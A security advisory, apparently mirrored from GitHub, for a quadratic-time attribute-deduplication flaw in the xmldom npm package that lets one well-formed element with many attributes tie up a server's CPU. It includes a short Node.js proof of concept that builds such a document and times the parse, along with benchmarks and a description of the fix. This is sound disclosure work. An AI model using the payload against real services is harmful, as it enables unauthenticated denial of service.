GHSA-8344-3JMQ-59R6

Vulnerability from github – Published: 2026-09-08 21:01 – Updated: 2026-09-08 21:01
VLAI
Summary
xmldom: Quadratic-time attribute deduplication
Details

Summary

xmldom builds the attribute collection of every parsed element by inserting attributes one at a time into a DOM NamedNodeMap. Each insertion first performs a linear scan of all already-inserted attributes to enforce the DOM uniqueness rule (no two attributes with the same qualified name / namespace+local-name). Parsing an element that carries M distinct attributes therefore costs 1 + 2 + … + M = O(M²) comparisons.

Because the trigger is simply "one element with many attributes", the attack payload is a fully well-formed XML document. No malformed markup, no error recovery, and no non-default parser options are involved — parsing completes silently with zero warning/error/fatalError events. An attacker who can submit a modest, highly compressible document (a single element with tens of thousands of attributes, ~340 KB uncompressed) can consume seconds of single-threaded CPU per request, enabling an unauthenticated denial of service.

This is distinct from the known quadratic-memory namespace-map issue: it burns CPU and it does not require any namespace declarations or nesting.

Details

The DOM content handler adds each attribute of a starting element by calling el.setAttributeNode(attr) in a loop:

// DOMHandler.startElement
for (var i = 0; i < len; i++) {
    var namespaceURI = attrs.getURI(i);
    var value = attrs.getValue(i);
    var qName = attrs.getQName(i);
    var attr = doc.createAttributeNS(namespaceURI, qName);
    attr.value = attr.nodeValue = value;
    el.setAttributeNode(attr);          // O(existing attrs) each — see below
}

https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom-parser.js#L370-L387

setAttributeNode delegates to NamedNodeMap.setNamedItem, which calls getNamedItemNS to look for an existing attribute with the same namespace URI and local name before appending:

setNamedItem: function (attr) {
    var el = attr.ownerElement;
    if (el && el !== this._ownerElement) {
        throw new DOMException(DOMException.INUSE_ATTRIBUTE_ERR);
    }
    var oldAttr = this.getNamedItemNS(attr.namespaceURI, attr.localName);  // linear scan
    if (oldAttr === attr) {
        return attr;
    }
    _addNamedNode(this._ownerElement, this, attr, oldAttr);
    return oldAttr;
},

https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L612-L623

getNamedItemNS walks the whole list on every call:

getNamedItemNS: function (namespaceURI, localName) {
    if (!namespaceURI) {
        namespaceURI = null;
    }
    var i = 0;
    while (i < this.length) {
        var node = this[i];
        if (node.localName === localName && node.namespaceURI === namespaceURI) {
            return node;
        }
        i++;
    }
    return null;
},

https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L702-L715

For the i-th attribute the scan visits i-1 entries, so inserting M distinct attributes performs Θ(M²) comparisons. There is no hash index or set keyed by name; the map is a plain array-backed structure.

The same structure exists on 0.8.x. There setNamedItem dedups via getNamedItem(attr.nodeName) instead of getNamedItemNS, but that method is likewise a full linear scan, so the complexity is identical:

  • startElement loop / setAttributeNode: https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom-parser.js#L159-L176
  • setNamedItem → linear getNamedItem: https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L286-L308

The linear-scan NamedNodeMap predates the @xmldom/xmldom fork and is present unchanged in the unscoped xmldom package back to its earliest published release. In xmldom@0.1.0, parsing already inserts each attribute one at a time (DOMHandler.startElement loops calling setAttributeNS → setAttributeNode → NamedNodeMap.setNamedItem), and setNamedItem dedups by calling getNamedItemNS, which is a full linear while (i--) scan of the already-inserted attributes — the identical O(M²) structure. The whole unscoped line (0.1.0 … 0.6.0) is therefore affected; the earliest published tag (0.1.0) was verified to contain the per-insert linear dedup scan.

Proof of Concept

A single well-formed element with M distinct attributes. No malformed markup and no options:

'use strict';
var DOMParser = require('@xmldom/xmldom').DOMParser;

function buildDoc(m) {
    var parts = new Array(m);
    for (var i = 0; i < m; i++) parts[i] = 'a' + i + '="x"';
    return '<r ' + parts.join(' ') + '/>';   // <r a0="x" a1="x" ... a{M-1}="x"/>
}

for (var _i = 0, sizes = [2000, 4000, 8000, 16000, 32000]; _i < sizes.length; _i++) {
    var m = sizes[_i];
    var xml = buildDoc(m);
    var t0 = process.hrtime.bigint();
    var doc = new DOMParser().parseFromString(xml, 'text/xml');  // silent: no error events
    var ms = Number(process.hrtime.bigint() - t0) / 1e6;
    console.log(m + ' attrs, ' + xml.length + ' bytes -> ' + ms.toFixed(1) + ' ms; parsed=' +
        doc.documentElement.attributes.length);
}

Measured with Node.js v18.20.8 (wall-clock; absolute numbers vary by host, the scaling is the load-bearing fact):

@xmldom/xmldom 0.9.10:

M (attributes) input bytes time (ms) ratio vs prev
2000 18,894 13.4 —
4000 38,894 38.7 ×2.9
8000 78,894 100.8 ×2.6
16000 164,894 406.2 ×4.0
32000 340,894 2149.5 ×5.3

@xmldom/xmldom 0.8.13:

M (attributes) input bytes time (ms)
2000 18,894 10.6
4000 38,894 19.9
8000 78,894 75.9
16000 164,894 657.7
32000 340,894 1643.2

xmldom (unscoped) 0.6.0: 4000 → 28.2 ms, 8000 → 131.8 ms, 16000 → 545.2 ms (≈ ×4 per doubling).

Time grows ≈ ×4 per doubling of M — quadratic. About 340 KB of well-formed input costs ~1.6–2.1 s of single-threaded CPU, and it keeps scaling: doubling the attribute count quadruples the cost. The document is trivially generated and compresses to a few kilobytes on the wire.

Impact

Unauthenticated, remotely triggerable denial of service against any service that parses attacker-influenced XML/HTML with xmldom. A single request holds one event-loop thread for seconds; a handful of concurrent requests can saturate CPU and stall the process. Because the payload is a plain well-formed document (one element, many attributes), it passes any "must be well-formed" gate and reaches the parser before any application-level validation (e.g. schema checks or signature verification) can run. The payload is highly compressible, so it is effective over compressed transports.

Fix Applied

Replaced the per-insert linear duplicate scan on the parse-time dedup path with a name-keyed index, so de-duplicating an element's attributes during parse is O(M) instead of O(M²) — a well-formed-but-hostile attribute list can no longer wedge the parse. Behavior-preserving: attribute order and duplicate resolution (last value wins, first position kept) are byte-identical. Non-breaking and independent of requireWellFormed; ships on both maintained versions.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.14"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@xmldom/xmldom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.7.0"
            },
            {
              "fixed": "0.8.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.11"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@xmldom/xmldom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.9.0"
            },
            {
              "fixed": "0.9.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "xmldom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-83613"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T21:01:31Z",
    "nvd_published_at": "2026-09-01T15:17:39Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nxmldom builds the attribute collection of every parsed element by inserting attributes one at a\ntime into a DOM `NamedNodeMap`. Each insertion first performs a **linear scan of all\nalready-inserted attributes** to enforce the DOM uniqueness rule (no two attributes with the same\nqualified name / namespace+local-name). Parsing an element that carries `M` distinct attributes\ntherefore costs `1 + 2 + \u2026 + M = O(M\u00b2)` comparisons.\n\nBecause the trigger is simply \"one element with many attributes\", the attack payload is a\n**fully well-formed XML document**. No malformed markup, no error recovery, and no non-default\nparser options are involved \u2014 parsing completes silently with zero `warning`/`error`/`fatalError`\nevents. An attacker who can submit a modest, highly compressible document (a single element with\ntens of thousands of attributes, ~340 KB uncompressed) can consume seconds of single-threaded CPU\nper request, enabling an unauthenticated denial of service.\n\nThis is distinct from the known quadratic-**memory** namespace-map issue: it burns **CPU** and it\ndoes not require any namespace declarations or nesting.\n\n## Details\n\nThe DOM content handler adds each attribute of a starting element by calling\n`el.setAttributeNode(attr)` in a loop:\n\n```js\n// DOMHandler.startElement\nfor (var i = 0; i \u003c len; i++) {\n\tvar namespaceURI = attrs.getURI(i);\n\tvar value = attrs.getValue(i);\n\tvar qName = attrs.getQName(i);\n\tvar attr = doc.createAttributeNS(namespaceURI, qName);\n\tattr.value = attr.nodeValue = value;\n\tel.setAttributeNode(attr);          // O(existing attrs) each \u2014 see below\n}\n```\n\nhttps://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom-parser.js#L370-L387\n\n`setAttributeNode` delegates to `NamedNodeMap.setNamedItem`, which calls `getNamedItemNS` to look\nfor an existing attribute with the same namespace URI and local name before appending:\n\n```js\nsetNamedItem: function (attr) {\n\tvar el = attr.ownerElement;\n\tif (el \u0026\u0026 el !== this._ownerElement) {\n\t\tthrow new DOMException(DOMException.INUSE_ATTRIBUTE_ERR);\n\t}\n\tvar oldAttr = this.getNamedItemNS(attr.namespaceURI, attr.localName);  // linear scan\n\tif (oldAttr === attr) {\n\t\treturn attr;\n\t}\n\t_addNamedNode(this._ownerElement, this, attr, oldAttr);\n\treturn oldAttr;\n},\n```\n\nhttps://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L612-L623\n\n`getNamedItemNS` walks the whole list on every call:\n\n```js\ngetNamedItemNS: function (namespaceURI, localName) {\n\tif (!namespaceURI) {\n\t\tnamespaceURI = null;\n\t}\n\tvar i = 0;\n\twhile (i \u003c this.length) {\n\t\tvar node = this[i];\n\t\tif (node.localName === localName \u0026\u0026 node.namespaceURI === namespaceURI) {\n\t\t\treturn node;\n\t\t}\n\t\ti++;\n\t}\n\treturn null;\n},\n```\n\nhttps://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L702-L715\n\nFor the i-th attribute the scan visits `i-1` entries, so inserting `M` distinct attributes performs\n`\u0398(M\u00b2)` comparisons. There is no hash index or set keyed by name; the map is a plain\narray-backed structure.\n\nThe same structure exists on 0.8.x. There `setNamedItem` dedups via\n`getNamedItem(attr.nodeName)` instead of `getNamedItemNS`, but that method is likewise a full linear\nscan, so the complexity is identical:\n\n- `startElement` loop / `setAttributeNode`:\n  https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom-parser.js#L159-L176\n- `setNamedItem` \u2192 linear `getNamedItem`:\n  https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L286-L308\n\nThe linear-scan `NamedNodeMap` predates the `@xmldom/xmldom` fork and is present unchanged in the\nunscoped `xmldom` package back to its earliest published release. In `xmldom@0.1.0`, parsing already\ninserts each attribute one at a time (`DOMHandler.startElement` loops calling\n`setAttributeNS` \u2192 `setAttributeNode` \u2192 `NamedNodeMap.setNamedItem`), and `setNamedItem` dedups by\ncalling `getNamedItemNS`, which is a full linear `while (i--)` scan of the already-inserted\nattributes \u2014 the identical `O(M\u00b2)` structure. The whole unscoped line (`0.1.0` \u2026 `0.6.0`) is\ntherefore affected; the earliest published tag (`0.1.0`) was verified to contain the per-insert\nlinear dedup scan.\n\n## Proof of Concept\n\nA single well-formed element with `M` distinct attributes. No malformed markup and no options:\n\n```js\n\u0027use strict\u0027;\nvar DOMParser = require(\u0027@xmldom/xmldom\u0027).DOMParser;\n\nfunction buildDoc(m) {\n\tvar parts = new Array(m);\n\tfor (var i = 0; i \u003c m; i++) parts[i] = \u0027a\u0027 + i + \u0027=\"x\"\u0027;\n\treturn \u0027\u003cr \u0027 + parts.join(\u0027 \u0027) + \u0027/\u003e\u0027;   // \u003cr a0=\"x\" a1=\"x\" ... a{M-1}=\"x\"/\u003e\n}\n\nfor (var _i = 0, sizes = [2000, 4000, 8000, 16000, 32000]; _i \u003c sizes.length; _i++) {\n\tvar m = sizes[_i];\n\tvar xml = buildDoc(m);\n\tvar t0 = process.hrtime.bigint();\n\tvar doc = new DOMParser().parseFromString(xml, \u0027text/xml\u0027);  // silent: no error events\n\tvar ms = Number(process.hrtime.bigint() - t0) / 1e6;\n\tconsole.log(m + \u0027 attrs, \u0027 + xml.length + \u0027 bytes -\u003e \u0027 + ms.toFixed(1) + \u0027 ms; parsed=\u0027 +\n\t\tdoc.documentElement.attributes.length);\n}\n```\n\nMeasured with Node.js v18.20.8 (wall-clock; absolute numbers vary by host, the **scaling** is the\nload-bearing fact):\n\n**`@xmldom/xmldom` 0.9.10:**\n\n| M (attributes) | input bytes | time (ms) | ratio vs prev |\n|---:|---:|---:|---:|\n| 2000  | 18,894  | 13.4   | \u2014     |\n| 4000  | 38,894  | 38.7   | \u00d72.9  |\n| 8000  | 78,894  | 100.8  | \u00d72.6  |\n| 16000 | 164,894 | 406.2  | \u00d74.0  |\n| 32000 | 340,894 | 2149.5 | \u00d75.3  |\n\n**`@xmldom/xmldom` 0.8.13:**\n\n| M (attributes) | input bytes | time (ms) |\n|---:|---:|---:|\n| 2000  | 18,894  | 10.6   |\n| 4000  | 38,894  | 19.9   |\n| 8000  | 78,894  | 75.9   |\n| 16000 | 164,894 | 657.7  |\n| 32000 | 340,894 | 1643.2 |\n\n**`xmldom` (unscoped) 0.6.0:** 4000 \u2192 28.2 ms, 8000 \u2192 131.8 ms, 16000 \u2192 545.2 ms (\u2248 \u00d74 per doubling).\n\nTime grows \u2248 \u00d74 per doubling of `M` \u2014 quadratic. About **340 KB of well-formed input costs ~1.6\u20132.1 s\nof single-threaded CPU**, and it keeps scaling: doubling the attribute count quadruples the cost.\nThe document is trivially generated and compresses to a few kilobytes on the wire.\n\n## Impact\n\nUnauthenticated, remotely triggerable denial of service against any service that parses\nattacker-influenced XML/HTML with xmldom. A single request holds one event-loop thread for seconds;\na handful of concurrent requests can saturate CPU and stall the process. Because the payload is a\nplain well-formed document (one element, many attributes), it passes any \"must be well-formed\" gate\nand reaches the parser before any application-level validation (e.g. schema checks or signature\nverification) can run. The payload is highly compressible, so it is effective over compressed\ntransports.\n\n## Fix Applied\n\nReplaced the per-insert linear duplicate scan on the parse-time dedup path with a name-keyed\nindex, so de-duplicating an element\u0027s attributes during parse is O(M) instead of O(M\u00b2) \u2014 a\nwell-formed-but-hostile attribute list can no longer wedge the parse. Behavior-preserving: attribute\norder and duplicate resolution (last value wins, first position kept) are byte-identical. Non-breaking\nand independent of `requireWellFormed`; ships on both maintained versions.",
  "id": "GHSA-8344-3jmq-59r6",
  "modified": "2026-09-08T21:01:31Z",
  "published": "2026-09-08T21:01:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-27p8-2357-5qqv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-8344-3jmq-59r6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-83613"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xmldom/xmldom/pull/1071"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xmldom/xmldom/pull/1072"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xmldom/xmldom/commit/2c548f200cfec991cd5846627ef8f03542309213"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xmldom/xmldom/commit/cfb09b5dbeb035fdfedc9f01e2bbaf226bf47cf3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xmldom/xmldom"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xmldom/xmldom/releases/tag/0.8.15"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xmldom/xmldom/releases/tag/0.9.12"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "xmldom: Quadratic-time attribute deduplication"
}



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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

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Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


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